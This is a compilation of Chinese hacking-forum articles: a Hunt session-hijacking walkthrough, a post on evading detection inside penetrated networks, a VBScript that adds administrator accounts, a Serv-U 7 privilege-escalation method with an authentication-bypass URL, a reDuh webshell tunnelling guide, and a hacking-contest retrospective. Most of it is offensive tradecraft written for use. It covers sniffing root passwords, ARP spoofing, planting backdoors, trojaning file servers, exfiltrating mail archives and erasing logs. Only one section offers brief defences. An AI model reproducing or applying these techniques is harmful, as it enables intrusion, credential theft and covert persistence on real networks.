  [root@dahubaobao hunt-1.5]#./hunt

  //Hunt是完全交互试的操作
  解释一下各个选项的含义
  l/w/r) list/watch/reset connections
  //l(字母l)为查看当前网络上的会话;w为监视当前网络上的某个会话;r为重置当前网络上的某个会话。
  a) arp/simple hijack (avoids ack storm if arp used)
  //中间人攻击(会话劫持),Hunt先进行ARP欺骗,然后进行会话劫持。使用此方法可以避免出现ACK风暴。
  s) simple hijack
  //简单的会话劫持,也就是注射式攻击。会出现ACK风暴。
  d) daemons rst/arp/sniff/mac
  //该选项共实现四个功能,分别为:终止会话,自动发送带RST标志位的TCP包;ARP欺骗后进行数据包转发;不用说了,嗅探功能;在当前网络上收集MAC地址。

  其他的选项很简单,不在多说了。还是来看看具体的例子吧,我想大家都等不及了!^_^

  2、应用实例

  测试环境:

  攻击者:Red Hat Linux 9.0 IP:192.168.0.10
  主机A:Windows Advanced Server IP:192.168.0.1
  主机B:FreeBSD 4.9 STABLE IP:192.168.0.20

  [root@dahubaobao hunt-1.5]#./hunt
  /*
  * hunt 1.5
  * multipurpose connection intruder / sniffer for Linux
  * (c) 1998-2000 by kra
  */
  starting hunt
  — Main Menu — rcvpkt 0, free/alloc 63/64 ——
l/w/r) list/watch/reset connections
  u) host up tests
  a) arp/simple hijack (avoids ack storm if arp used)
  s) simple hijack
  d) daemons rst/arp/sniff/mac
  o) options
  x) exit
  *> l //查看当前网络上的会话
  0)192.168.0.1 [3465] ?192.168.0.20 [23]
  //主机A正在Telnet到主机B

  — Main Menu — rcvpkt 0, free/alloc 63/64 ——
  l/w/r) list/watch/reset connections
  u) host up tests
  a) arp/simple hijack (avoids ack storm if arp used)
  s) simple hijack
  d) daemons rst/arp/sniff/mac
  o) options
  x) exit
  *> w //监视当前网络上的会话
  0)192.168.0.1 [3465] ?192.168.0.20 [23]
  Choose conn>0 //选择打算监视的会话。由于我的条件有限,不能模拟多个会话,请多见量。
  Dump [s]rc/[d]st/[b]oth [b]> //回车
  Print sec/dst same charactes y/n [n]> //回车

  现在就可以监视会话了。主机A输入的一切内容,我们都可以看到。主机A在Telnet并登陆之后,直接su root,password:后边的就是root的密码。现在这个系统已经完全由你所控制了,自由发挥吧!

  — Main Menu — rcvpkt 0, free/alloc 63/64 ——
l/w/r) list/watch/reset connections
  u) host up tests
  a) arp/simple hijack (avoids ack storm if arp used)
  s) simple hijack
  d) daemons rst/arp/sniff/mac
  o) options
  x) exit
  *> s //进行注射式会话劫持
  0)192.168.0.1 [3465] ?192.168.0.20 [23]
  choose conn> 0
  dump connection y/n [n]>
  Enter the command string you wish executed or [cr]> cat /etc/passwd

  攻击者的意图是获取主机B的passwd文件的内容,但由于注射式会话劫持缺陷,导致了ACK风暴,所以Hunt向会话双方发送了一个带RST标志位的TCP包来阻止ACK风暴。

  — Main Menu — rcvpkt 0, free/alloc 63/64 ——
l/w/r) list/watch/reset connections
  u) host up tests
  a) arp/simple hijack (avoids ack storm if arp used)
  s) simple hijack
  d) daemons rst/arp/sniff/mac
  o) options
  x) exit
  *> a //进行中间人会话劫持
  0)192.168.0.1 [3862] ?192.168.0.20 [23]
  choose conn> 0
  arp spoof src in dst y/n [y]>
  src MAC [XX:XX:XX:XX:XX:XX]>
  arp spoof dst in src y/n [y]>
  dst MAC [XX:XX:XX:XX:XX:XX]>
  input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>
  dump connectin y/n [y]> n
  press key to take voer of connection
  ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host   192.168.0.1 FA
  ILED
  do you want to force arp spoof nutil successed y/n [y]>
  CTRL-C to break
  CTRL+C //手工输入CTRL+C中断,不需等待
  – operation canceled – press any key>
  ARP spoof failed
  ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
  you took over the connection
  CTRL-] to break
  -bash-2.05b$id
  ………………..

  现在,攻击者已经成功的劫持了主机A和B之间的Telnet会话。主机A输入的一切命令攻击者都可以看到,并且攻击者也可以自行插入命令。正如前边所说的,这种会话劫持方式先进行ARP欺骗,然后才劫持,所以,ACK风暴是不会出现的;而且,这种方式要比注射式会话劫持危害更大,从上文中我想就能看出来,我就不必在多说什么了。还有一些如Sniffer等功能,都很简单,由于已不在本文范畴,故不再多说。

  三、会话劫持防范
  防范会话劫持是一个比较大的工程。首先应该使用交换式网络替代共享式网络,虽然像Hunt这样的工具可以在交换环境中实现会话劫持,但还是应该使用交换式网络替代共享式网络,因为这样可以防范最基本的嗅探攻击。然而,最根本的解决办法是采用加密通讯,使用SSH代替Telnet、使用SSL代替HTTP,或者干脆使用IPSec/VPN,这样会话劫持就无用武之地了。其次,监视网络流量,如发现网络中出现大量的ACK包,则有可能已被进行了会话劫持攻击。

  还有一点是比较重要的,就是防范ARP欺骗。实现中间人攻击的前提是ARP欺骗,如能阻止攻击者进行ARP欺骗,中间人攻击还怎样进行?!如何防范ARP欺骗,黑客防线有过详细的介绍,可以参考2003年第9期杂志。

  总结
  对于渗透内部网络,会话劫持确实是一种比较有效的方法,我们应该掌握。本文的实践性很强,请大家务必动手试试,并希望能掌握此技术。Hunt这个强悍的工具使用方法很简单,但却可以把会话劫持发挥淋漓尽致,真佩服作者的编程功底。

渗透,目的不单纯

帮朋友忙 帮到目的不单纯 好可怜 被好多兄弟教训了
甚至被威胁了下…
总结下 教训…
关于单臂路由如果掌握到设备权限还是可以继续玩,另外一些对拨的vpn如果没有做好限制也可以溜达溜达,如果是帮忙的话 还是小心翼翼的溜达,不要做什么很实际的操作了,因为…
先说设备
IPS IDS 自然不说了 现在这些都搞复合呢 all in one 行为管理也有给复合进去的
在说流量报警和时间 流量报警现在和手机整合的 就是说如果在一个日均1Gb流量的网络下载一个大家伙流量超出界定范围会被发送到手机流量异常,说到手机这个东西现在的确发达了,有时候发邮件也要先搞清楚对方是不是手机在收,不过有些人貌似有手机软件的0day …
然后有比较业务化的一些规则 比如行为+时间 这样算因子?或者还有更多因子的 比如在9:00-17:30之外玩个IPC$或者ftp外部再或者发个邮件,那么又被记录了…
说到这里好像记得电子科技大学一个老师讲那个搞某大公司的牛人将搞到的东西分成NNNN个份更改为容量不大于某值的.gif,然后每天定时定量分多次下载… 回想自己好像根本就没这方面的意识…这次丢人丢大了
说说这次吸取的教训和累积的经验,当然主要是对一些相对严格的网络环境
1、不要采用相同的留后门的方式
      虽然自己平时也不用后门,但是有时候为了方便还是要装下,这个时候对自己占领的土地一定要分块分类型来安装后门,如果手法只有一种那么很可能被一次扫地出门(这点感谢叮当给的意见)。
2、留后门也要看人
     留后门选什么样的机器也是一种学问,如果找一个CTO的机器给他屁股上开个洞他会很敏感滴,这次我被cto猛揍了一顿,选一台边缘机器吧,比如财务菜鸟…比如公共用的上网机..
3、时间很重要
     在拿到某设备权限后看到一张自己创造的流量图,我竟然搞出在对方的凌晨1点web上流量峰值和下午5-6点的值竟然持平,所以以后要养成习惯,先分析设备,分析时差,然后再考虑下一步的动作。
4、别映射磁盘了
     这个不多说了,映射很容易被发现,太明显了,还是dir来看吧,看到想要的xcopy回来好了,这样至少安全点。(这点感谢”九局下半”这个名字是艺名,复ID)。
5、关于vpn
     一些对拨vpn设置比较变态,但是如果分析清楚架构是可以穿透这些限制,当修改这些配置的时候应该先停止设备通知,再备份配置,添加直接入口,最后再改设置,这样可以保证自己搞错时还有机会更改。
6、熟悉服务
     熟悉网络后要熟悉服务,这样挑选对方主要网络服务,主要软件,然后在fileserver上做些手脚,当然时间要克隆一下,也别动太疯狂了,另外切记选好目标,不可以随便找个adobe的pdf浏览器下手,如果遇到负责的管理员,adobe更新软件之日就是那特洛伊的忌日了,。
7、找找同行
     这个情况很常见,这次也遇到了,这时最好是分析分析和我奋战在同一服务器的兄台什么时间来玩、怎么玩、玩了之后留下些什么,这样当自己再也无法闯进去的时候、或者这位兄台不仗义把我一脚蹬出去的时候,我还可以拿他钥匙再来坐坐。
8、邮件&文档
     选择好时间,尽量在不触发设备规则的时候把pst文件和重要文档down了,另外在清理自己痕迹前最好先把服务器日志完整down一份,方便以后分析。

扯了这么多都是这次吸取的教训,血泪的教训…
贴士:
今天看到一句话,很是崇拜
“一个人什么都会就意味着什么都不会;当你觉得自己一无是处的时候离成功才最近”

 Posted by FireFox

无net提权的脚本

真正的无net加系统用户能用的脚本。。当我们遇到提权的时候,nc反弹提权的时候,管理员把net1和net给禁用了,,我们可以上传一个脚本,,做到真正的无net加系统用户。。脚本代码如下:

struser=wscript.arguments(0)
strpass=wscript.arguments(1)

set lp=createObject(“WSCRIPT.NETWORK”)
oz=”WinNT://”&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&”/Administrators,group”)
Set od=ob.create(“user”,struser)
od.SetPassword strpass
od.SetInfo
Set of=GetObject(oz&”/” & struser & “,user”)
oe.Add(of.ADsPath)

For Each admin in oe.Members
if struser=admin.Name then
Wscript.echo struser & ” 建立成功!”
wscript.quit
end if
Next

Wscript.echo struser & ” 用户建立失败!”

保存以上代码为 user.vbs   用法:cscript user.vbs 用户 密码

Serv-U(servu)7 提权技术

一,su7是提权有几种方式?
有两种形式去干掉su7。
1>,登陆管理员控制台的页面
==>获取OrganizationId,用于添加用户
==>获取全局用户的“下一个新用户ID”
==>添加用户
==>添加用户的权限 or 添加全局用户权限
==>用户登陆
==>执行系统命令添加系统账户。
2>,登陆管理员控制台页面
==>基本WEB客户端
==>来到serv-u的目录下–users–Global user目录
==>上传一个你已经定义好的用户文件
==>用户登陆
==>执行系统命令添加系统账户
而本文件使用了第一种方法。
二,提权的原理?

Su7的管理平台是http的,很先进。
抓包,分析,发现了以下路程是可以利用的。
1.管理员从管理控制台打开web页面时,是不需要验证密码的。
2.管理员如果用某URL打开web页面时,虽然需要输入密码,但是无论输入什么,都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3.管理员可以添加用户有两种,一种是全局用户,一种是某个域下的用户。而权限设置也是两种,一种是全局,一种是针对用户。
4.管理员添加了用户的这个包和设置权限这个包,是分开的。
所以,我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆,exec命令。达到提权。
在写php的过程中,遇到很多问题,比如函数不会用等等(—_—!以前没学过php),感谢“云舒牛”帮忙。。。
在分析包的流程,发现了一些特征,服务器返回的数据,全是以xml格式发来的。而在数据传输的过程中,设计的很经典。
Su7也有自己的数据库,他也会自己生成一个id。
这个ID是随机的,在你创建用户时,会先请求服务器生成一个,生成好后,修改该id的用户名,密码等。
这很像oracle的insert手段。

写工具的过程中,遇到很多麻烦,最大的麻烦就是这个ID问题,后来分析出来了。
添加权限时,也是可以利用这个ID的。
于是工具一共连接了6次服务器,这几次分别是:
1.用来登陆平台,使用那个输入任何密码都可以登陆的页面地址。返回一个sessionid,这个sessionid在以后的包都用到了。
2.获取OrganizationId,用于添加用户
3.用来请求一个用户ID。
4.修改该ID的登陆用户名,密码。
5.修改该ID的权限,加c盘的写删执行等。
6.这次连接是做坏事的,使用前面添加的用户执行系统命令。

三,为啥我明明显示成功了,但是却提不上去?

这要看错误代码了,这里偶很惭愧,并没有写详细的错误代码判断。
一般有以下几种情况:
1,可能是因为管理员密码不对。
参照管理员密码的连接。
2,可能是因为管理员限制了执行SITE EXEC。
有待程序修改,程序可以加一个让他不限制的功能。
3,可能是程序问题。
4,为啥作者有这么多理由不去改?
你没发现么?一旦把东西做完美了,那比较系统的防御方案就出来了。
如果不完美,让他以为我们就这点手段,防御系统也会这么认为。
不信的话,过段时间,防御方案出来了,肯定有一条:“修改site exec为不可访问”。
到时候,我再写个功能,把这玩意改回来就是。
所以,等大家都提倡要XXXX的时候,我再解决XXXX的问题。大家先这么玩着吧:)

四,关于管理员密码

默认为空,如果密码为空,填什么都能进去。
如果修改过,管理员密码默认会在这里:
C:Program FilesRhinoSoft.comServ-UUsersLocal Administrator Domain.Archive
文件中找到一个MD5密码值。
C:Program FilesRhinoSoft.comServ-U
是su的根目录。
密码值的样式为(假设是123456)
kx#######################
#代表123456的32位MD5加密,而kx则是su对md5的密码算法改进的随机2位字符。
破解后的密码为kx123456,去掉kx就是密码了。
你可以针对这个加密生成字典。

内网渗透利器–reDuh(webshell跳板)简单使用说明

作者:sai52[B.H.S.T]
blog:www.sai52.com

国外大牛的作品,偶顺手写了个使用说明。E文好的看原文  http://www.sensepost.com/research/reDuh/

这个工具可以把内网服务器的端口通过http/https隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。

本机——-客户端———(http隧道)———–服务端——————内网服务器

服务端是个webshell(针对不同服务器有aspx,php,jsp三个版本),客户端是java写的,本机执行最好装上JDK。

把客户端文件解包,这里我把它放到E盘的TEST文件夹

 

图01

 
把服务端的webshell上传到目标服务器。

 

图02

 
目标服务器在内网,开了终端服务。

 

图03

 
命令行下用客户端连接服务端

E:\test>java reDuhClient 目标服务器域名 http 80 /WEBSHELL路径/reDuh.aspx

 

图04

 
新开一个命令行,用NC连接本机1010端口。

H:\>nc -vv localhost 1010

 

图05

 
连接成功会有欢迎提示,之后输入命令

>>[createTunnel]1234:127.0.0.1:3389

前面的1234是本机连接用的端口,中间的ip地址是目标服务器的(可以是webshell所在服务器也可以是和它同内网的服务器),后面的3389是欲连接目标服务器的端口。

成功后两个命令行窗口都会有成功提示。

 

图06

 

 

图07

 
这时通道已经建立,你连接本机的1234端口就相当于连接到目标服务器的3389端口了。

 

图08

图09

 
数据的传递过程

 

图10

 
需要注意的是用此工具转发数据速度很慢,连接的时候应尽量把mstsc的颜色设置调低些。

reDuh客户端下载  reduhclient-0.3.zip
reDuh服务端下载  reduh-server-all.gz

IT168 安全技术大赛09年新年版设计者的总结

作者:空虚浪子心

【IT168专稿】在整个游戏关卡中,所有用到的技术,都是比较基础的,只要有自己的思想,又懂得基本黑客技术,花点时间,很容易过关。整个设 计思想是:要求过关者用自己的真实技术,不借助全自动工具,熟悉基本的web黑客攻击技术,肯动脑。关卡尽量切合实际,使用技术尽量不重复。在关卡开始之 初,预计要拿host文件这东西,挡住一部分人,让哪些没耐心的,不愿意动脑的人,先去清醒下,过段时间再来玩。

本次大赛的入口是:http://www.ixpub.net/thread-892412-1-1.html

本次大赛的目的就是为了先把菜鸟挡在门外,让更多有技术的人,拿到奖励,让老鸟分享自己的攻防经验。而菜鸟学习到这些经验以后,就可以用在以后的“关卡”上了。黑客游戏,最闪亮的地方,就是最终如何被攻破。

其实有时候一个题目是很难出的,要求真实的技术,又不能脱离实际,这才是关卡设计的难点。举个例子吧,如果我出一道毫无意义的题目,一个管理员 密码让你用彩虹表跑上一二天,很切合实际吧?在“日常生活”中,我们可能经常遇到,可惜这样的题目既浪费你的时间,又浪费国家电力资源,更体现不出真实技 术。所以,题目的选材是最重要的一步,也是最难的一步。而我最终定下来的关卡,都是千挑万选过来。

第一关:host文件+简单破解

注意观察,是每一个安全人 员都必须具备的基础,甚至比很多技术,更要值得深思,这一点,贯穿了游戏的每一个部分。作者《游戏说明》中的每一句话,都不是白写的,有很多甚至是“最终 过关”的钥匙,7J(大赛第一名)就在这里吃过大亏。其中有句原话是这么说“经测试,每一关地址都可以正常访问。”,看起来绝对属于废话,不过却在变相的 提醒“关卡没问题,你访问不了,是你的事情,自己想办法访问吧!”。于是就有很多聪明的过关者,想到了host文件这回事情。

改了 host文件,看到的页面,让你下载一个EXE下来,进行破解。为啥要加这个呢?其实就是在变相的提醒大家:“看到没?全都是简单的技术,连平时用来关卡 中的拿奖出彩项目,都这么基础”。不会的看看pediy的教程,打开OD,选择查找所有字符串,就看到密码了。这才叫真正的“略有基础”即可破解。得到密 码后,显示出了2关的地址。还是访问不了,不过有了第一关的那个大大的坑,这点问题,就再也难不倒大家了。

应用的“日常生活”中,不知道大家有没想过,很多服务器,都会有隐藏关卡的,当我们查出来分明这里有个站,却自己访问不了的时候,有没有想过改host文件呢?兴许管理员就疏忽了,域名到期,服务器的网站还在。修改host文件,甚至可以破解一些网络验证。

第二关:冲破留言本

在很多网站中,多多少少都有留言本的功能,如果我们搞来搞去,没地方冲,或许在这里会有很多不小的收获。很多朋友一看到留言本,已经知道这关的 主旨了 –XSS。一般来说,由留言本拿站的不是没有,都非常少数,具体原因当然是因为这东西功能太少。不排除有些数据库以ASP结尾,而刚好又能写入一句话马 的情况,不过这次游戏,大家就别想从shell入手了,因为关卡的环境比较复杂,服务器上还有其他站,我必须保证大家不能拿到shell。当然下次游戏我 就不多透露了。

XSS已经是攻击中不可缺少的技术了,很多时候,是可以直接拿shell的。所以黑客游戏中,也不可缺少。但是真正利用起来,就有了高级和低级 之分,为了照顾大家,我还特意找了个没有任何XSS过滤的留言本(下次可没这么简单了)。同时,我还在自己的机器上,架设了虚拟机,每天早晚,用管理员身 份,看一遍大家的帖子。互动啊,这可是标准的互动。有不少人XSS了成功了,于是就看到了管理员登陆后,cookie中的变化。直接写着第三关的地址。

要知道,为了正常的关卡运行,我每天早晚都会上来和大家演戏的,看帖,删帖。为了保证功能的运行,专门写了一个asp的页面,用来恢复帖子和管理员密码,当然这是一个很长很长的路径。过了这一关,真正的游戏才刚刚开始。

第三关:手工SQL注入

问:现在的SQL工具一大把,咋能保证别人只能手工注入呢?

这就是人,和机器的区别。

这是个很特殊的需求,网络上绝对不会有教程的,他们都在想,如何能防止SQL注入攻击,而我在想,如何在允许手动SQL注入攻击的同时,绕过工具的自动扫描。

最终,我确定了一种方法,叫做转换。在接受到用户输入的字符后,分析其中的字段,转换里面的SQL注入关键字。再给出一张转换列表,用于大家手 动注入时做对照。本来是没有大家看到的那个JS写的转换函数的,后来我看到官方给的奖品没有以前的那么绚丽,担心难度太高,会影响过关的激情,才照顾大 家,特意给加了个转换函数。

其实难度真的不高,一条语句获得mdb的地址,另一条语句跨库。表名和字段名,也都是最最常见的。

SQL注入是web攻击中的绝对王者,他的出现,甚至可以改变一个攻击的时代。我想,如果不是哪些工具的出现,恐怕现在SQL注入是否能被各个网站提上紧急日程,都是一件难以预见的事情。如果没有相关的基础,平时只会用工具的菜鸟,必定会卡在这一关。

而注入之前的TNT,我就没打算拿这个卡住大家,这只是为了让大家不要忘记在绝境的时候,还有这么一个技术而已。

第四关:搞的就是管理员

问:要攻击渗透一个企业,无论大小,最最重要的渗透点是哪里?

毫无疑问,管理员就是这个点。再安全的系统,再安全的程序,都经不住那些白痴管理员们瞎捣鼓。他们才是真正的“黑客”。

前期的一位重要关卡设计者,经验丰富的渗透家某某曾经说过,搞一个站,最重要的,就是管理员,无论我们想什么办法,最终的矛头一定会指向他。换句话说,如果你搞了半天站,最后连管理员是谁都不知道,那只能说明你是个没入门的菜鸟级菜鸟。

首先入眼的是动网论坛,最新版,为保证不让大家拿到shell,凡涉及FSO的功能页面,基本都已经被我咔嚓了。看到7J在论坛上说“有0day就好了”,个人认为这家伙在作秀,换做是我,有0day,也不会用来打这个关卡,明明知道这个关卡,是受到绝对的监视的。服务器开着wareshark,你敢扔过来,我绝对录制的完美无缺。那个拿着0day去砸j8hacker的家伙,就被我抓个现行,完美的捕获了整个过程。

没了0day,很明显就只有一条路了,拿管理员下手,相信大家都有猜密码的痛苦经历。这个密码么,一般是社工不来的,因为我没打算让你社工了,最后一关啊,咋能这么简单呢?仔细的对比下,一个崭新的论坛,和关卡中的,到底有什么不一样呢?还不就是管理员邮箱么?

不过这需要一个极端的联想逻辑(惯性思维),从1,2,3关来看,关卡的设计者很明显没什么钱,穷的只能用host文件来完成关卡设计。而邮箱 里的那个用户名,又和本关地址,这么相像,难道没有玄机在里面么?其实只要再次绑定这个用户名的域名,访问关卡,就可以看到4关的第二小关了,后面的企业 网站,自然是一注就出来密码的。这一切的一切,就发生在管理员的信息上,只要仔细的观察管理员,会得到很多有用的东西。

用2小关的密码,迂回到 4关的1小关,登陆后台,就是2小关的作用。其他的功能都被删了,还能做什么呢?值得一提的是,这一关不像前面的关卡一样,有明显的提示过关页面,说明登 陆了后台还不算完。说道这一点,我很失望,都已经在过关说明上提示的那么清楚了,让你们联系管理员QQ嘛。怎么就是有那么多人,都到了门口了,就是没有联 系呢?呵呵,其实这是一个文字游戏,故意的。-_-!都以为那个管理员QQ是动网自带的是吧?

看到大家都不过关,我有只要充当好人,去论坛发帖子不断的提醒了。以前的JS关黑客游戏,大家都知道会有“文字游戏”,怎么到了这个,大家都忘记了呢?发散思维,跳跃思维不管用在哪里,都是绝对有用的利器。

最后总结下,这次的游戏中提到的技术,大家都掌握了么?那好!等待下一关吧!